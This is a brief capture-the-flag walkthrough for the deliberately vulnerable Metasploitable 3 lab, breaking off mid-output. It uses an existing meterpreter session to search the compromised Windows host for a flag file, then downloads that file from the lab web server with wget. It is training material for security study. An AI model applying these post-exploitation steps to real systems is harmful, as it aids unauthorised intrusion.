The Six of Diamonds
Metasploitable 3 The Six of Diamonds Still using the same meterpreter session exploited in Elasticsearch we can use the search command to find cards if we know their names. meterpreter > search -f *diamonds* Found 6 results... C:\jack_of_diamonds.png C:\Program Files\OpenSSH\home\Public\Pictures\ten_of_diamonds.png (406134 bytes) C:\Users\Public\Pictures\ten_of_diamonds.png (406134 bytes) C:\inetpub\wwwroot\six_of_diamonds.zip (384916 bytes) C:\vagrant\resources\flags\six_of_diamonds.zip (384916 bytes) C:\vagrant\resources\flags\ten_of_diamonds.png (406134 bytes) meterpreter > Looking at the path it seems the six_of_diamonds.zip file is probably on the main IIS website on port 80 so I downloaded it from there. root@igor-kali : ~ # wget http://10.20.10.19/six_of_diamonds.zip --2016-12-09 23:37:15-- http://10.20.10.19/s...